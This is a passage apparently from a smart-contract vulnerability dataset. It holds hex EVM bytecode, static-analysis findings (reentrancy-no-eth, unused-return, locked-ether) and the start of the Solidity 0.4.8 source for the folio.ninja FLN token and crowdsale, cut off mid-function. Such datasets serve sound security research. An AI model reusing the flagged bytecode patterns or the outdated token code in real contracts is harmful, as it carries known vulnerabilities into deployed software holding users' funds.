57600080fd5b505af11580156125db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506125ff9190810190614be5565b61260857600080fd5b5b808060010191505061242f565b506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b815260040161267290615725565b60206040518083038186803b15801561268a57600080fd5b505afa15801561269e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506126c29190810190614e29565b73ffffffffffffffffffffffffffffffffffffffff166338463cff8989856000600381106126ec57fe5b60200201516040518463ffffffff1660e01b815260040161270f939291906155c4565b602060405180830381600087803b15801561272957600080fd5b505af115801561273d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506127619190810190614e52565b90507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb816040516127929190615745565b60405180910390a150506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016127f89190615374565b60206040518083038186803b15801561281057600080fd5b505afa158015612824573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506128489190810190614e52565b11156128fe576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a85018161288857fe5b046040518363ffffffff1660e01b81526004016128a692919061540b565b602060405180830381600087803b1580156128c057600080fd5b505af11580156128d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506128f89190810190614e52565b506129aa565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a3db61374a85018161293857fe5b046040518363ffffffff1660e01b815260040161295692919061540b565b602060405180830381600087803b15801561297057600080fd5b505af1158015612984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506129a89190810190614e52565b505b50505050505050565b60005a90506000898888336040516020016129d194939291906153c6565b6040516020818303038152906040528051906020012090506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b8152600401612a4490615725565b60206040518083038186803b158015612a5c57600080fd5b505afa158015612a70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612a949190810190614e29565b73ffffffffffffffffffffffffffffffffffffffff1663159ab14d838c8989896040518663ffffffff1660e01b8152600401612ad4959493929190615531565b602060405180830381600087803b158015612aee57600080fd5b505af1158015612b02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612b269190810190614e52565b90506001600060038110612b3657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8c836040518363ffffffff1660e01b8152600401612b9292919061540b565b602060405180830381600087803b158015612bac57600080fd5b505af1158015612bc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612be49190810190614be5565b612bed57600080fd5b7f168094234a7c53f3434b5ac1936fa7bdc59f28ea7f93bda1f79272fdf0537e5a81604051612c1c9190615745565b60405180910390a150506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612c829190615374565b60206040518083038186803b158015612c9a57600080fd5b505afa158015612cae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612cd29190810190614e52565b1115612d88576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a850181612d1257fe5b046040518363ffffffff1660e01b8152600401612d3092919061540b565b602060405180830381600087803b158015612d4a57600080fd5b505af1158015612d5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612d829190810190614e52565b50612e34565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a3db61374a850181612dc257fe5b046040518363ffffffff1660e01b8152600401612de092919061540b565b602060405180830381600087803b158015612dfa57600080fd5b505af1158015612e0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612e329190810190614e52565b505b50505050505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005a9050600089888833604051602001612e8494939291906153c6565b6040516020818303038152906040528051906020012090506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b8152600401612ef790615725565b60206040518083038186803b158015612f0f57600080fd5b505afa158015612f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612f479190810190614e29565b73ffffffffffffffffffffffffffffffffffffffff1663159ab14d838c8989896040518663ffffffff1660e01b8152600401612f87959493929190615531565b602060405180830381600087803b158015612fa157600080fd5b505af1158015612fb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612fd99190810190614e52565b9050612fe3614720565b896003806020026040519081016040528092919082600360200280828437600081840152601f19601f8201169050808301925050505050509050818160006003811061302b57fe5b6020020181815250506000600190505b6003811015613077578a816003811061305057fe5b602002013582826003811061306157fe5b602002018181525050808060010191505061303b565b5087600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633883e1198c60016040518363ffffffff1660e01b81526004016130d792919061549b565b602060405180830381600087803b1580156130f157600080fd5b505af1158015613105573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506131299190810190614e52565b1061313f5761313a81838a8f6141b7565b61323c565b600160006003811061314d57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8d846040518363ffffffff1660e01b81526004016131a992919061540b565b602060405180830381600087803b1580156131c357600080fd5b505af11580156131d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506131fb9190810190614be5565b61320457600080fd5b7f168094234a7c53f3434b5ac1936fa7bdc59f28ea7f93bda1f79272fdf0537e5a826040516132339190615745565b60405180910390a15b5050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161329b9190615374565b60206040518083038186803b1580156132b357600080fd5b505afa1580156132c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506132eb9190810190614e52565b11156133a1576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a85018161332b57fe5b046040518363ffffffff1660e01b815260040161334992919061540b565b602060405180830381600087803b15801561336357600080fd5b505af1158015613377573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061339b9190810190614e52565b5061344d565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a3db61374a8501816133db57fe5b046040518363ffffffff1660e01b81526004016133f992919061540b565b602060405180830381600087803b15801561341357600080fd5b505af1158015613427573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061344b9190810190614e52565b505b50505050505050505050565b60006060613466876145d3565b90506060613473876145d3565b90506000898b848460405160200161348e949392919061532b565b604051602081830303815290604052805190602001209050600181868989604051600081526020016040526040516134c9949392919061557f565b6020604051602081039080840390855afa1580156134eb573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1614935050505098975050505050505050565b60005a90506000600160006003811061354957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016135a39190615374565b60206040518083038186803b1580156135bb57600080fd5b505afa1580156135cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506135f39190810190614e52565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b81526004016136549392919061538f565b602060405180830381600087803b15801561366e57600080fd5b505af1158015613682573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506136a69190810190614be5565b6136af57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631a4d01d28685876040518463ffffffff1660e01b815260040161370e9392919061584a565b600060405180830381600087803b15801561372857600080fd5b505af115801561373c573d6000803e3d6000fd5b505050506000600160006003811061375057fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016137aa9190615374565b60206040518083038186803b1580156137c257600080fd5b505afa1580156137d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506137fa9190810190614e52565b905060006138118383613e6b90919063ffffffff16565b90506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b815260040161386e90615725565b60206040518083038186803b15801561388657600080fd5b505afa15801561389a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506138be9190810190614e29565b73ffffffffffffffffffffffffffffffffffffffff166338463cff8b8b856040518463ffffffff1660e01b81526004016138fa939291906155c4565b602060405180830381600087803b15801561391457600080fd5b505af1158015613928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061394c9190810190614e52565b90507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb8160405161397d9190615745565b60405180910390a1505050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016139e59190615374565b60206040518083038186803b1580156139fd57600080fd5b505afa158015613a11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250613a359190810190614e52565b1115613aeb576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a850181613a7557fe5b046040518363ffffffff1660e01b8152600401613a9392919061540b565b602060405180830381600087803b158015613aad57600080fd5b505af1158015613ac1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250613ae59190810190614e52565b50613b97565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a3db61374a850181613b2557fe5b046040518363ffffffff1660e01b8152600401613b4392919061540b565b602060405180830381600087803b158015613b5d57600080fd5b505af1158015613b71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250613b959190810190614e52565b505b50505050505050565b6d4946c0e9f43f4dee607b0ef1fa1c81565b6060613c098887876000808d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c016121dd565b898989613459565b613c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c3f90615705565b60405180910390fd5b600060603073ffffffffffffffffffffffffffffffffffffffff16898b604051602001613c76929190615303565b604051602081830303815290604052604051613c9291906152ec565b6000604051808303816000865af19150503d8060008114613ccf576040519150601f19603f3d011682016040523d82523d6000602084013e613cd4565b606091505b509150915081613d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d10906156e5565b60405180910390fd5b613d6b60016000808d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461470690919063ffffffff16565b6000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b8a338b604051613de093929190615434565b60405180910390a18092505050979650505050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081830290506000831480613e3c575081838281613e3957fe5b04145b613e4557600080fd5b92915050565b6000808211613e5957600080fd5b818381613e6257fe5b04905092915050565b600082821115613e7a57600080fd5b818303905092915050565b6000600185600f0b60038110613e9757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613ef19190615374565b60206040518083038186803b158015613f0957600080fd5b505afa158015613f1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250613f419190810190614e52565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633df0212460008787876040518563ffffffff1660e01b8152600401613fa594939291906156a0565b600060405180830381600087803b158015613fbf57600080fd5b505af1158015613fd3573d6000803e3d6000fd5b505050506000600186600f0b60038110613fe957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016140439190615374565b60206040518083038186803b15801561405b57600080fd5b505afa15801561406f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506140939190810190614e52565b905060006140aa8383613e6b90919063ffffffff16565b9050600187600f0b600381106140bc57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff1660e01b815260040161411892919061540b565b602060405180830381600087803b15801561413257600080fd5b505af1158015614146573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061416a9190810190614be5565b61417357600080fd5b7f0f53fda404376fdea6de5ffe0d5272072454f69b1abdf71a66e24ba0c128b4f28682896040516141a6939291906157c0565b60405180910390a150505050505050565b6000600190505b60038110156142c45760008582600381106141d557fe5b602002015111156142b757600181600381106141ed57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd333088856003811061423857fe5b60200201516040518463ffffffff1660e01b815260040161425b9392919061538f565b602060405180830381600087803b15801561427557600080fd5b505af1158015614289573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506142ad9190810190614be5565b6142b657600080fd5b5b80806001019150506141be565b506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016143229190615374565b60206040518083038186803b15801561433a57600080fd5b505afa15801561434e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506143729190810190614e52565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634515cef38660006040518363ffffffff1660e01b81526004016143d29291906154ed565b600060405180830381600087803b1580156143ec57600080fd5b505af1158015614400573d6000803e3d6000fd5b505050506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016144619190615374565b60206040518083038186803b15801561447957600080fd5b505afa15801561448d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506144b19190810190614e52565b905060006144c88383613e6b90919063ffffffff16565b9050848110156144d757600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff1660e01b8152600401614534929190615472565b602060405180830381600087803b15801561454e57600080fd5b505af1158015614562573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506145869190810190614be5565b61458f57600080fd5b7f0882f81e7e1d407c41100a8a53cd546a2f6ffff18d00dc1268ee70f1640932cc8682896040516145c293929190615789565b60405180910390a150505050505050565b6060600082141561461b576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050614701565b600082905060005b60008214614645578080600101915050600a828161463d57fe5b049150614623565b6060816040519080825280601f01601f19166020018201604052801561467a5781602001600182028038833980820191505090505b509050600060018303905060008690505b600081146146f857600a818161469d57fe5b0660300160f81b838380600190039450815181106146b757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a81816146f057fe5b04905061468b565b82955050505050505b919050565b600081830190508281101561471a57600080fd5b92915050565b6040518060600160405280600390602082028038833980820191505090505090565b60008135905061475181615bb2565b92915050565b60008135905061476681615bc9565b92915050565b60008190508260206003028201111561478457600080fd5b92915050565b60008151905061479981615be0565b92915050565b6000813590506147ae81615bf7565b92915050565b60008083601f8401126147c657600080fd5b8235905067ffffffffffffffff8111156147df57600080fd5b6020830191508360018202830111156147f757600080fd5b9250929050565b600082601f83011261480f57600080fd5b813561482261481d826158f3565b6158c6565b9150808252602083016020830185838301111561483e57600080fd5b614849838284615b2e565b50505092915050565b60008151905061486181615c0e565b92915050565b60008135905061487681615c25565b92915050565b600082601f83011261488d57600080fd5b81356148a061489b8261591f565b6158c6565b915080825260208301602083018583830111156148bc57600080fd5b6148c7838284615b2e565b50505092915050565b6000813590506148df81615c3c565b92915050565b6000815190506148f481615c3c565b92915050565b60008135905061490981615c53565b92915050565b60006020828403121561492157600080fd5b600061492f84828501614742565b91505092915050565b60006020828403121561494a57600080fd5b600061495884828501614757565b91505092915050565b600080600080600080600080610120898b03121561497e57600080fd5b600061498c8b828c01614757565b985050602061499d8b828c016148d0565b97505060406149ae8b828c0161476c565b96505060a06149bf8b828c016148d0565b95505060c06149d08b828c016148d0565b94505060e06149e18b828c0161479f565b93505061010089013567ffffffffffffffff8111156149ff57600080fd5b614a0b8b828c016147b4565b92509250509295985092959890939650565b600080600080600080600060e0888a031215614a3857600080fd5b6000614a468a828b01614742565b975050602088013567ffffffffffffffff811115614a6357600080fd5b614a6f8a828b016147fe565b965050604088013567ffffffffffffffff811115614a8c57600080fd5b614a988a828b0161487c565b955050606088013567ffffffffffffffff811115614ab557600080fd5b614ac18a828b0161487c565b9450506080614ad28a828b0161479f565b93505060a0614ae38a828b0161479f565b92505060c0614af48a828b016148fa565b91505092959891949750929550565b600080600080600080600080610100898b031215614b2057600080fd5b6000614b2e8b828c01614742565b985050602089013567ffffffffffffffff811115614b4b57600080fd5b614b578b828c0161487c565b975050604089013567ffffffffffffffff811115614b7457600080fd5b614b808b828c0161487c565b9650506060614b918b828c016148d0565b9550506080614ba28b828c016148d0565b94505060a0614bb38b828c0161479f565b93505060c0614bc48b828c0161479f565b92505060e0614bd58b828c016148fa565b9150509295985092959890939650565b600060208284031215614bf757600080fd5b6000614c058482850161478a565b91505092915050565b600080600080600060c08688031215614c2657600080fd5b600086013567ffffffffffffffff811115614c4057600080fd5b614c4c888289016147b4565b95509550506020614c5f88828901614742565b9350506040614c708882890161476c565b92505060a0614c81888289016148d0565b9150509295509295909350565b600080600080600060c08688031215614ca657600080fd5b600086013567ffffffffffffffff811115614cc057600080fd5b614ccc888289016147b4565b95509550506020614cdf88828901614742565b9350506040614cf0888289016148d0565b9250506060614d018882890161476c565b9150509295509295909350565b60008060008060008060808789031215614d2757600080fd5b600087013567ffffffffffffffff811115614d4157600080fd5b614d4d89828a016147b4565b96509650506020614d6089828a016148d0565b9450506040614d7189828a0161479f565b935050606087013567ffffffffffffffff811115614d8e57600080fd5b614d9a89828a016147b4565b92509250509295509295509295565b600080600080600060808688031215614dc157600080fd5b600086013567ffffffffffffffff811115614ddb57600080fd5b614de7888289016147b4565b95509550506020614dfa888289016148d0565b9350506040614e0b888289016148d0565b9250506060614e1c888289016148fa565b9150509295509295909350565b600060208284031215614e3b57600080fd5b6000614e4984828501614852565b91505092915050565b600060208284031215614e6457600080fd5b6000614e72848285016148e5565b91505092915050565b60008060008060008060008060006101008a8c031215614e9a57600080fd5b6000614ea88c828d016148d0565b9950506020614eb98c828d016148d0565b9850506040614eca8c828d016148d0565b9750506060614edb8c828d01614867565b9650506080614eec8c828d01614757565b95505060a0614efd8c828d016148d0565b94505060c0614f0e8c828d0161479f565b93505060e08a013567ffffffffffffffff811115614f2b57600080fd5b614f378c828d016147b4565b92509250509295985092959850929598565b6000614f558383615297565b60208301905092915050565b614f6a81615a56565b82525050565b614f79816159d8565b82525050565b614f88816159c6565b82525050565b614f9f614f9a826159c6565b615b70565b82525050565b614fb160608383615b2e565b5050565b614fbe81615955565b614fc88184615983565b9250614fd38261594b565b8060005b83811015615004578151614feb8782614f49565b9650614ff683615976565b925050600181019050614fd7565b505050505050565b615015816159ea565b82525050565b615024816159f6565b82525050565b6000615036838561598e565b9350615043838584615b2e565b61504c83615b94565b840190509392505050565b6000615063838561599f565b9350615070838584615b2e565b82840190509392505050565b600061508782615960565b615091818561598e565b93506150a1818560208601615b3d565b6150aa81615b94565b840191505092915050565b60006150c082615960565b6150ca818561599f565b93506150da818560208601615b3d565b80840191505092915050565b6150ef81615a68565b82525050565b6150fe81615a8c565b82525050565b61510d81615ab0565b82525050565b61511c81615a12565b82525050565b61512b81615ad4565b82525050565b61513a81615ae6565b82525050565b600061514b8261596b565b61515581856159bb565b9350615165818560208601615b3d565b80840191505092915050565b600061517e601d836159aa565b91507f46756e6374696f6e2063616c6c206e6f74207375636365737366756c6c0000006000830152602082019050919050565b60006151be601a836159bb565b91507f19457468657265756d205369676e6564204d6573736167653a0a0000000000006000830152601a82019050919050565b60006151fe6021836159aa565b91507f5369676e657220616e64207369676e617475726520646f206e6f74206d61746360008301527f68000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006152646003836159aa565b91507f42544300000000000000000000000000000000000000000000000000000000006000830152602082019050919050565b6152a081615a3f565b82525050565b6152af81615a3f565b82525050565b6152be81615b1c565b82525050565b6152cd81615a49565b82525050565b60006152e0828486615057565b91508190509392505050565b60006152f882846150b5565b915081905092915050565b600061530f82856150b5565b915061531b8284614f8e565b6014820191508190509392505050565b6000615336826151b1565b91506153428287615140565b915061534e8286615140565b915061535a8285615140565b91506153668284615140565b915081905095945050505050565b60006020820190506153896000830184614f61565b92915050565b60006060820190506153a46000830186614f61565b6153b16020830185614f61565b6153be60408301846152a6565b949350505050565b600060c0820190506153db6000830187614f70565b6153e86020830186614fa5565b6153f560808301856152a6565b61540260a0830184614f70565b95945050505050565b60006040820190506154206000830185614f61565b61542d60208301846152a6565b9392505050565b60006060820190506154496000830186614f7f565b6154566020830185614f70565b8181036040830152615468818461507c565b9050949350505050565b60006040820190506154876000830185614f7f565b61549460208301846152a6565b9392505050565b60006080820190506154b06000830185614fa5565b6154bd606083018461500c565b9392505050565b60006080820190506154d96000830185614fa5565b6154e660608301846152a6565b9392505050565b60006080820190506155026000830185614fb5565b61550f6060830184615131565b9392505050565b600060208201905061552b600083018461500c565b92915050565b6000608082019050615546600083018861501b565b61555360208301876152a6565b615560604083018661501b565b818103606083015261557381848661502a565b90509695505050505050565b6000608082019050615594600083018761501b565b6155a160208301866152c4565b6155ae604083018561501b565b6155bb606083018461501b565b95945050505050565b600060408201905081810360008301526155df81858761502a565b90506155ee60208301846152a6565b949350505050565b60006020820190508181036000830152615610818461507c565b905092915050565b600060208201905061562d60008301846150e6565b92915050565b600060208201905061564860008301846150f5565b92915050565b60006020820190506156636000830184615104565b92915050565b600060608201905061567e6000830186615122565b61568b6020830185615113565b61569860408301846152a6565b949350505050565b60006080820190506156b56000830187615122565b6156c26020830186615113565b6156cf60408301856152a6565b6156dc60608301846152a6565b95945050505050565b600060208201905081810360008301526156fe81615171565b9050919050565b6000602082019050818103600083015261571e816151f1565b9050919050565b6000602082019050818103600083015261573e81615257565b9050919050565b600060208201905061575a60008301846152a6565b92915050565b600060808201905061577560008301856152a6565b6157826020830184614fa5565b9392505050565b600060a08201905061579e60008301866152a6565b6157ab60208301856152a6565b6157b86040830184614fb5565b949350505050565b60006060820190506157d560008301866152a6565b6157e260208301856152a6565b6157ef6040830184615113565b949350505050565b600060a08201905061580c60008301886152a6565b61581960208301876152a6565b6158266040830186615113565b6158336060830185614f70565b6158406080830184614f70565b9695505050505050565b600060608201905061585f60008301866152a6565b61586c60208301856152b5565b61587960408301846152a6565b949350505050565b600060808201905061589660008301876152b5565b6158a36020830186615122565b6158b060408301856152a6565b6158bd60608301846152a6565b95945050505050565b6000604051905081810181811067ffffffffffffffff821117156158e957600080fd5b8060405250919050565b600067ffffffffffffffff82111561590a57600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561593657600080fd5b601f19601f8301169050602081019050919050565b6000819050919050565b600060039050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006159d182615a1f565b9050919050565b60006159e382615a1f565b9050919050565b60008115159050919050565b6000819050919050565b6000615a0b826159c6565b9050919050565b600081600f0b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000615a6182615af8565b9050919050565b6000615a7382615a7a565b9050919050565b6000615a8582615a1f565b9050919050565b6000615a9782615a9e565b9050919050565b6000615aa982615a1f565b9050919050565b6000615abb82615ac2565b9050919050565b6000615acd82615a1f565b9050919050565b6000615adf82615a12565b9050919050565b6000615af182615a3f565b9050919050565b6000615b0382615b0a565b9050919050565b6000615b1582615a1f565b9050919050565b6000615b2782615a49565b9050919050565b82818337600083830152505050565b60005b83811015615b5b578082015181840152602081019050615b40565b83811115615b6a576000848401525b50505050565b6000615b7b82615b82565b9050919050565b6000615b8d82615ba5565b9050919050565b6000601f19601f8301169050919050565b60008160601b9050919050565b615bbb816159c6565b8114615bc657600080fd5b50565b615bd2816159d8565b8114615bdd57600080fd5b50565b615be9816159ea565b8114615bf457600080fd5b50565b615c00816159f6565b8114615c0b57600080fd5b50565b615c1781615a00565b8114615c2257600080fd5b50565b615c2e81615a12565b8114615c3957600080fd5b50565b615c4581615a3f565b8114615c5057600080fd5b50565b615c5c81615a49565b8114615c6757600080fd5b5056fea26469706673582212200278f98fe1ac3bdd864824b44f22eb08f856f73af80231c1e1f8a1a0357b46b964736f6c63430006000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,583 |
0x66416D0f07b0CF1CD423b001f181E511F94689c8 | pragma solidity ^0.4.8;
// folio.ninja ERC20 Token & Crowdsale Contract
// Contact: <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1c75727a735c7a7370757332727572767d">[email protected]</a>
// Cap of 12,632,000 Tokens
// 632,000 Tokens to Foundation
// 25,000 ETH Cap that goes to Developers
// Allows subsequent contribution / minting if cap not reached.
contract Assertive {
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract SafeMath is Assertive{
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract ERC20Protocol {
function totalSupply() constant returns (uint256 totalSupply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC20 is ERC20Protocol {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
// Folio Ninja Token Contract
contract FolioNinjaToken is ERC20, SafeMath {
// Consant token specific fields
string public constant name = "folio.ninja";
string public constant symbol = "FLN";
uint public constant decimals = 18;
uint public constant MAX_TOTAL_TOKEN_AMOUNT = 12632000 * 10 ** decimals;
// Fields that are only changed in constructor
address public minter; // Contribution contract
address public FOUNDATION_WALLET; // Can change to other minting contribution contracts but only until total amount of token minted
uint public startTime; // Contribution start time in seconds
uint public endTime; // Contribution end time in seconds
// MODIFIERS
modifier only_minter {
assert(msg.sender == minter);
_;
}
modifier only_foundation {
assert(msg.sender == FOUNDATION_WALLET);
_;
}
modifier is_later_than(uint x) {
assert(now > x);
_;
}
modifier max_total_token_amount_not_reached(uint amount) {
assert(safeAdd(totalSupply, amount) <= MAX_TOTAL_TOKEN_AMOUNT);
_;
}
// METHODS
function FolioNinjaToken(address setMinter, address setFoundation, uint setStartTime, uint setEndTime) {
minter = setMinter;
FOUNDATION_WALLET = setFoundation;
startTime = setStartTime;
endTime = setEndTime;
}
/// Pre: Address of contribution contract (minter) is set
/// Post: Mints token
function mintToken(address recipient, uint amount)
external
only_minter
max_total_token_amount_not_reached(amount)
{
balances[recipient] = safeAdd(balances[recipient], amount);
totalSupply = safeAdd(totalSupply, amount);
}
/// Pre: Prevent transfers until contribution period is over.
/// Post: Transfer FLN from msg.sender
/// Note: ERC20 interface
function transfer(address recipient, uint amount)
is_later_than(endTime)
returns (bool success)
{
return super.transfer(recipient, amount);
}
/// Pre: Prevent transfers until contribution period is over.
/// Post: Transfer FLN from arbitrary address
/// Note: ERC20 interface
function transferFrom(address sender, address recipient, uint amount)
